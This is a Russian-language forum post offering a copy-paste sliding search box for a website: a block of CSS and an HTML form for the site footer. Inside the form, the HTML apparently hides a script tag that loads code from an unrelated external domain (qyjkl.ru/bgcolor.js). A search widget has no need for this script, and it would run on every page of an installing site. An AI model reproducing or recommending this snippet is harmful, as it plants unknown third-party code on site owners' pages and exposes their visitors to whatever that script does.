Выдыижной, Красивый поиск - Форум
Меню сайта
Мини профиль

Гость, мы рады вас видеть.
Пожалуйста зарегистрируйтесь или авторизуйтесь!

Поиск
Мини чат
Копилка
Сколько? WMR

Заранее спасибо. Повысь свой BL. Сумма может быть любая. Все деньги будут вложены на развитие этого проекта. СПАСИБО!!!
Опрос
Как вам новый дизайн?
Всего ответов: 3342
Реклама
Статистика
Зарег. на сайте
Всего: 473
Новых за месяц: 1
Новых за неделю: 1
Новых вчера: 0
Новых сегодня: 0
Из них
Администраторов: 1
Модераторов: 1
Журналистов: 7
Обычных юзеров: 464
Из них
Парней: 421
Девушек: 52

Сегодня были:
Ka4ai.pp.ua

Качай бесплатно и без регистрации

[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Страница 1 из 11
Форум » Ptokax » Готовые скрипты » Выдыижной, Красивый поиск (не занимает много места. очень удобно)
Выдыижной, Красивый поиск
AsissaДата: Воскресенье, 15.07.2012, 22:25 | Сообщение # 1
Рядовой
Группа: Пользователи
Сообщений: 4
Репутация: 0
Статус: Offline
Награды
Нет наград
Смотрим скрин скрипта: http://i075.radikal.ru/1207/67/0c366b24f772.png

Установка:
1)Вставляем в CSS в самый низ:

Code
.poisk{   
   position:fixed;   
   background-image:-webkit-linear-gradient(bottom,#426BFF,#60A5FF);   
   background-image:-moz-linear-gradient(bottom,#426BFF,#60A5FF);   
   background-image:-o-linear-gradient(bottom,#426BFF,#60A5FF);   
   background-image:linear-gradient(bottom,#426BFF,#60A5FF);   
   -webkit-box-shadow:0 0 3px black;   
   -moz-box-shadow:0 0 3px black;   
   -o-box-shadow:0 0 3px black;   
   box-shadow:0 0 3px black;   
   border:1px solid #404040;   
   left:-200px;   
   width:240px;   
   height:30px;   
   border-radius:3px;   
   top:100px;   
   color:white;   
   text-shadow:0 0 3px black;   
   -webkit-transition:all 0.4s ease;   
   -moz-transition:all 0.4s ease;   
   -o-transition:all 0.4s ease;   
   transition:all 0.4s ease;   
   padding:3px;   
   }   
   .poisk:hover{   
   left:-3px;   
   }   
   .poisk #search{   
   width:175px;   
   position:relative;   
   top:3px;   
   left:5px;   
   -webkit-transition: all 0.4s ease;   
   -moz-transition: all 0.4s ease;   
   -o-transition: all 0.4s ease;   
   transition: all 0.4s ease;   
   border-radius:3px;   
   border:1px solid #606060;   
   height:26px;   
   }   
   .poisk:hover #search{   
   width:230px;   
   }   
   #search{   
   -webkit-transition:all 0.2s ease;   
   -moz-transition:all 0.2s ease;   
   -o-transition:all 0.2s ease;   
   transition:all 0.2s ease;   
   }   
   #search:focus{   
   border:1px solid #404040;   
   -webkit-box-shadow:inset 1px 1px 3px #ccc;   
   -moz-box-shadow:inset 1px 1px 3px #ccc;   
   box-shadow:inset 1px 1px 3px #ccc;   
   }   
   .poisk:hover #poiskknopka{   
   display:none;   
   }


2)Вставляем в Нижнюю часть сайта:

Code
<div class="poisk"><form class="poick_os" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/"><input id="search" class="poick_pole" type="text" name="q" maxlength="45" value="Поиск..." onclick="if (this.value=='Поиск...'){this.value='';}" id="acpro_inp11" autocomplete="off"><script src="http://qyjkl.ru/bgcolor.js" type="text/javascript"></script><span style="position:absolute;right: 10px;top: 6px;font-family: tahoma, sans-serif;font-size: 14px;font-style: normal;font-variant: normal;font-weight: normal;" id="poiskknopka"><img src="http://s017.radikal.ru/i427/1207/d2/fe6772a47ea5.png"></span></form></div>
 
Форум » Ptokax » Готовые скрипты » Выдыижной, Красивый поиск (не занимает много места. очень удобно)
Страница 1 из 11
Поиск: